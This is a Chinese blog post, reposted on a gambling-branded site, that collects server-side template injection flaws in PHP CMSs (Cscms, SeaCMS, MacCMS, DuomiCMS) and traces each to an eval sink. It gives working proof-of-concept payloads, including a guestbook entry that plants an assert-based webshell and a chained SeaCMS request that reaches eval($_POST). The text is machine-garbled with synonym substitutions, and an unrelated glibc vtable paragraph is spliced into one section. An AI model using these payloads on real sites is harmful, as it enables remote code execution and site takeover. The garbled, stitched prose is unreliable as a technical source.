存在SSTI破绽的CMS合集 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

存在SSTI破绽的CMS合集

申博_安全预警 申博 63次浏览 未收录 0个评论

存在SSTI破绽的CMS合集

媒介

代码审计,考核的是扎扎实实的本事,CMS的破绽的发掘才能是权衡一个Web狗的强弱的规范,强网杯的时刻,Web题目考的了一个CMS的代码审计,考核到了SSTI破绽,菜鸡一枚的我过来汇总一下在PHP中的SSTI破绽,忘能举一反三,引发读者的共识。

SSTI破绽概述

观点

SSTI(效劳端模板注入)和罕见Web注入的成因一样,也是效劳端接收了用户的输入,将其作为 Web 运用模板内容的一部分,在举行目标编译衬着的历程当中,实行了用户插进去的歹意内容,因此能够致使了敏感信息泄漏、代码实行、GetShell 等题目。其影响局限重要取决于模版引擎的复杂性。

详细的注入体式格局决议了其SSTI的由来。

模板注入触及的是效劳端Web运用运用模板引擎衬着用户要求的历程。

CMS中的SSTI破绽汇总

这里找了几个CMS破绽中的SSTI的例子,简朴的复现和剖析一下,说不定能找出一些共性的特性呢。

强网杯Cscms题目标SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql

POC

第一种

URL:index.php/gbook
留言数据:{cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?pwd=phpinfo();

第二种

URL:index.php/dance/search?key={cscmsphp}phpinfo();{/cscmsphp}

第二种的poc在强网竞赛中好像是不能用,由于dance的模块好像是被阉割了。

破绽剖析

中心的破绽存在于

upload/cscms/app/models/Csskins.php

中的函数

public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
return $str;
    }

不难看看出,这段代码运用风险函数eval 要找破绽的话直接运用全局搜刮的要领,找到这个函数的挪用所在就好

挪用的处所一样也是在这个文件中

//PHP代码剖析
        preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
        if(!empty($php_arr[0])){
            for($i=0;$i<count($php_arr[0]);$i++){
                $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
            }
        }
        unset($php_arr);

症结点就在与掌握$str变量,从上面能够剖断出,假如末了传入的值是类似以下这类情势,php的代码是能够实行的。

{cscmsphp}phpinfo();{/cscmsphp}

接下来寻觅怎样掌握$str的值,上述的代码存在与

upload/cscms/app/models/Csskins.php

template_parse函数中

全局搜刮template_parse函数

全局搜刮以后,发明挪用这个函数的处一切许多,然则我们要做的就是挑选出有破绽的处所,然则什么是有破绽的处所呢,统统输入都是有害的,所以,最好是能找到与数据库操纵有关的内容,这些应该是我们要找的重点。

$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);

搜刮以后会发明,一切的模板也许都是如许加载的,因而我们就把重点放在了变量Mark_Text上面

逐一剖析以后,发明

/cscms/upload/cscms/app/models/Cstpl.php

文件里操纵衬着的数据是从数据库中取出来的,详细的内容以下

public function gbook_list($page=1){
        if(User_BookFun==0){ //网站封闭留言
            return "<div id='cscms_gbook'>网站已封闭了在线留言~!</div>";
        }
        $data_content='';
        //装载模板
        $Mark_Text=$this->load->view('gbook_ajax.html','',true);
        //预先除了分页
        $pagenum=getpagenum($Mark_Text);
        preg_match_all('/{cscms:([\S]+)\s+(.*?pagesize=\"([\S]+)\".*?)}([\s\S]+?){\/cscms:\1}/',$Mark_Text,$page_arr);
        print_r($page_arr);
        print "fangzhang";
        if(!empty($page_arr) && !empty($page_arr[2])){
            print_r($page_arr[2]);
            $field=$page_arr[1][0]; //前缀名
            //组装SQL数据
            $sqlstr=$this->Csskins->cscms_sql($page_arr[1][0],$page_arr[2][0],$page_arr[0][0],$page_arr[3][0],'id',0);
            //总数目
            $nums = $this->Csdb->get_allnums($sqlstr);
            $Arr=spanajaxpage($sqlstr,$nums,$page_arr[3][0],$pagenum,'cscms.getlGbook',$page);
            //推断页数大于2/3则倒序显现
            if($Arr[6]>10 && $page > $Arr[6]*2/3){
                $Arr[0] = current(explode(' LIMIT ', $Arr[0]));
                if(strpos($Arr[0], ' desc ') !== false){
                    $Arr[0] = str_replace(' desc ', ' asc ', $Arr[0]);
                }else{
                    $Arr[0] = str_replace(' asc ', ' desc ', $Arr[0]);
                }
                $spage = ($Arr[6]-$page)*$Arr[7];
                $Arr[0] .= ' LIMIT '.$spage.','.$Arr[7];
            }
            if($nums>0){
                $sorti=1;
                $result_array=$this->db->query($Arr[0])->result_array();
                foreach ($result_array as $row2) {
                    $datatmp=$this->Csskins->cscms_skins($field,$page_arr[0][0],$page_arr[4][0],$row2,$sorti);
                    $sorti++;
                    $data_content.=$datatmp;
                }
            }
            print $data_content;
            $Mark_Text=page_mark($Mark_Text,$Arr);  //分页剖析
            $Mark_Text=str_replace($page_arr[0][0],$data_content,$Mark_Text);
        }
        unset($page_arr);
        $Mark_Text=str_replace("[gbook:token]",get_token('gbook_token'),$Mark_Text);
        $Mark_Text=$this->Csskins->template_parse($Mark_Text,false);
        return $Mark_Text;
    }

在这个要领中,仔细观察一下谁人$sqlstr变量

在页面打印出来了以下的sql语句,

select * from `v41_gbook` where cid=1 and fid=0 order by id desc

经由页数的推断以后sql语句为以下变量$Arr[0]打印以下:

select * from `v41_gbook` where cid=1 and fid=0 order by id desc LIMIT 0,5

效果保存在变量data_content中,

经由以下语句替代以后,查询的效果保存在最最先要衬着的谁人变量$Mark_Text

$Mark_Text=str_replace($page_arr[0][0],$data_content,$Mark_Text);

所以,我们能够经由过程掌握的数据库的留言内容,来掌握衬着的内容,

数据库的内容就是我们要插进去的语句

我们能够经由过程这个体式格局留言

http://127.0.0.1/cscms/upload/index.php/gbook

抓包剖析一下,能够看到运用的url是

/cscms/upload/index.php/gbook/add

在add的要领内,并没有什么过滤的体式格局

留言成以后经由过程这个体式格局接见

http://127.0.0.1/cscms/upload/index.php/gbook/lists/1?pwd=phpinfo();

以上就是悉数代码审计的历程。

海洋CMS的SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql seacms(v6.53)

POC

POST /seacms(v6.53)/upload/search.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/seacms(v6.53)/upload/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BEEFHOOK=9BIcNvrOYJ3zap74fscXQTchPtgyOGlbcO0DyQhdo7jP6k3prnO82U6v9cOOCFh1Xl8HLO0Bl417ZGSN; bdshare_firstime=1516777076849; UM_distinctid=16127562db49-05b0f0ac5b7059-454c092b-cc7fe-16127562dba35b; CNZZDATA1234139=cnzz_eid%3D1799312719-1516783434-%26ntime%3D1516783434; a4207_times=1; PHPSESSID=80dadc311b51e7ae6d8e4e57ff626241

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

破绽剖析

依旧是全局搜刮eval函数,然后在一个函数内里看到了一个可疑的处所

function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }else{
                $elseIfArray=explode($labelRule2,$strThen);
                $elseIfArrayLen=count($elseIfArray);
                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                $resultStr=$elseIfSubArray[1];
                $elseIfArraystr0=addslashes($elseIfArray[0]);
                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                    $strElseIf=$this->parseStrIf($strElseIf);
                    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                    if ($elseIfFlag) {break;}
                }
                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                $content=str_replace($iar[0][$m],$resultStr,$content);
            }
        }
        return $content;
        }
    }

函数的功用也许就是把输入的数据举行衬着,然后输出到页面去

在衬着模板的内容的时刻有一个终究实行if语句,假如if语句内里的内容可控,我们将其写成一个表达式,就能够形成代码注入,然后形成代码实行。下面来举行剖析我们的使命很明白,组织特别的函数参数,获得一能够剖析的php函数表达式

顺次的挪用栈以下:

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");//$strIf

$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);  //$iar

preg_match_all($labelRule,$content,$iar);//$content

function parseIf($content){  //

然后就是全局查找parseIf函数的挪用状况

然后就到了破绽最症结的处所。

search.php页面中有一个函数echoSearchPage();

IO FILE 之vtable check 以及绕过

上一篇介绍了libc2.23之前版本的劫持vtable以及FSOP的利用方法。如今vtable包含了如此多的函数,功能这么强大,没有保护的机制实在是有点说不过去。在大家都开始利用修改vtable指针进行控制程序流的时候,glibc在2.24以后加入了相应的检查机制,使得传统的修改vtable指针指向可控内存的方法失效。但道高一尺,魔高一丈,很快又出现了新的绕过方式。本篇文章主要介绍libc2.24以后的版本对于vtable的检查以及相应的绕过方式。 之前几篇文章的传送门: IO FILE之fopen详解 IO FILE之fread详解 IO FILE之fwrite详解 IO FI

变量$content 经由无数次的替代末了抵达了我们想去的函数,我们须要做的事情就是把if语句组织出一个表达式,从而实行我们想要的函数,或许说是组织一个shell,在search.php输入的变量都是可控的症结的代码以下:

if(intval($searchtype)==5)
    {
        $tname = !empty($tid)?getTypeNameOnCache($tid):'悉数';
        $jq = !empty($jq)?$jq:'悉数';
        $area = !empty($area)?$area:'悉数';
        $year = !empty($year)?$year:'悉数';
        $yuyan = !empty($yuyan)?$yuyan:'悉数';
        $letter = !empty($letter)?$letter:'悉数';
        $state = !empty($state)?$state:'悉数';
        $ver = !empty($ver)?$ver:'悉数';
        $money = !empty($money)?$money:'悉数';
        print base64_encode($content);
        $content = str_replace("{searchpage:type}",$tid,$content);
        $content = str_replace("{searchpage:typename}",$tname ,$content);
        $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
        $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
        $content = str_replace("{searchpage:jq}",$jq,$content);
        if($state=='w'){$state2="结束";}elseif($state=='l'){$state2="连载中";}else{$state2="悉数";}
        if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="悉数";}
        $content = str_replace("{searchpage:state}",$state2,$content);
        $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
        $content=$mainClassObj->parseSearchItemList($content,"type");
        $content=$mainClassObj->parseSearchItemList($content,"year");
        $content=$mainClassObj->parseSearchItemList($content,"area");
        $content=$mainClassObj->parseSearchItemList($content,"letter");
        $content=$mainClassObj->parseSearchItemList($content,"lang");
        $content=$mainClassObj->parseSearchItemList($content,"jq");
        $content=$mainClassObj->parseSearchItemList($content,"state");
        $content=$mainClassObj->parseSearchItemList($content,"ver");
        $content=$mainClassObj->parseSearchItemList($content,"money");
    }else
    {
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
    }

假如进入了这个轮回的话,就能够不停的操纵content的内容了,假如不知道内容的话能够把它打印出来的。

连系poc体味一下其组织的艺术觉得

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem(dir);

根据递次在能够离别获得以下效果:

searchword={if{searchpage:year}
$content = str_replace("{seacms:searchword}",$searchword,$content);

获得

{if{searchpage:year}
year=:e{searchpage:area}}
$content = str_replace("{searchpage:year}",$year,$content);

获得

{if:e{searchpage:area}}
area=v{searchpage:letter}
$content = str_replace("{searchpage:area}",$area,$content);

获得

{if:ev{searchpage:letter}
letter=al{searchpage:lang}
$content = str_replace("{searchpage:letter}",$letter,$content);

获得

{if:eval{searchpage:lang}
yuyan=(join{searchpage:jq}
$content = str_replace("{searchpage:lang}",$yuyan,$content);

获得

{if:eval(join{searchpage:jq}
jq=($_P{searchpage:ver}
$content = str_replace("{searchpage:jq}",$jq,$content);

获得

{if:eval(join($_P{searchpage:ver}
ver=OST[9]))
$content = str_replace("{searchpage:ver}",$ver,$content);

获得

{if:eval(join($_Pver=OST[9]))

如许就相称与是获得了一个shell

真的很信服这个破绽的作者。

苹果CMS的SSTI

环境搭建

win10+phpstudy: php5.6 apache2+mysql maccms_php_v8.x.zip

POC

http://127.0.0.1/maccms/index.PHP?m=vod-search
POST 数据wd={if-A:phpinfo()}{endif-A}

破绽剖析

着实这个CMS的破绽道理和上一个CMS的破绽的道理差不多,症结的几个点照样对模板的数据没有严厉的过滤,然后用了eval,然后着实if语句上出的题目。以下做扼要的剖析。

这个CMS的衬着的体式格局和上一个出奇的类似

中心的代码照样在衬着if语句内里

这是途径

maccms\inc\common\template.php

症结函数在861行摆布

function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
        $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
        preg_match_all($labelRule,$this->H,$iar);
        print_r($iar);
        $arlen=count($iar[2]);

出奇的类似,我们的目标照样要掌握$this-H的变化。由于正则婚配以后的效果都存入变量$iar中了,

for($m=0;$m<$arlen;$m++){
            $strn = $iar[1][$m];
            $strif= asp2phpif( $iar[2][$m] ) ;
            $strThen= $iar[3][$m];
            $elseifFlag=false;

            $labelRule2="{elseif-".$strn."";
            $labelRule3="{else-".$strn."}";

            if (strpos(",".$strThen,$labelRule2)>0){
                $elseifArray=explode($labelRule2,$strThen);
                $elseifArrayLen=count($elseifArray);
                $elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
                $resultStr=$elseifSubArray[1];
                @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");

上面是中心的代码,症结照样掌握 $strif变量,如果想掌握变量照样要掌握$this->H

所以全局搜刮函数挪用的处所

在进口文件就已发作对该函数的挪用,

经由过程剖析cms的路由可知,m=vod-search参数举行拆分vod参数和search参数,vod参数是进入的文件途径,search是vod.php的一个选项

wd是能够直接经由过程post体式格局传入的值

在search的模块中

$tpl->P["siteaid"] = 15;
    $wd = be("all", "wd");
    if(!empty($wd)){ $tpl->P["wd"] = $wd; }

症结的替代代码

$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');

$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );

$tpl->H = str_replace($colarr, $valarr ,$tpl->H);

所以在衬着的时刻,我们须要组织的就是wd这个参数,回过甚能够看看我们须要组织什么样的正则

首先要相符正则表达式

{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}

类似如许:

{if-dddd:phpinfo()}{endif-dddd}

这就是谁人payload了。

DuomiCMS的SSTI

环境搭建

DuomiCms_v1.32

POC

/search.php?searchtype=5&tid=&area=phpinfo()

破绽剖析

不剖析了,和上面两个差不多。觉得模板的衬着的思绪好像是一样的。

总结

SSTI只是注入破绽的一种,其基础的道理依然是用户的不正常输入形成了有害的输出,简而言之,统统的输入都是有害的。

经由过程以上的几个CMS的剖析看,重要的缘由有以下几点:

  • 对插进去模板的数据过滤不严厉形成的
  • eval的滥用
  • 对输入的数据没有过滤

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明存在SSTI破绽的CMS合集
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址